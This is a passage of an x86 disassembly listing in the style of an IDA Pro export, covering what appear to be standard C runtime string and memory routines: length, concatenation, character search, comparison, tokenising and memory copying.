		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB948, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CFp
					; sub_401ACD+6A10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5981p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26A01C9h
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 26A08B1h
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D3p
					; ___:00411CA2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E82p
					; sub_401ACD+1EA1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFDp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB994


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB994, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2D+1Cp
					; sub_415221+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEB+88p
					; sub_40B64B+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA4+15p
					; sub_40BFA4+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
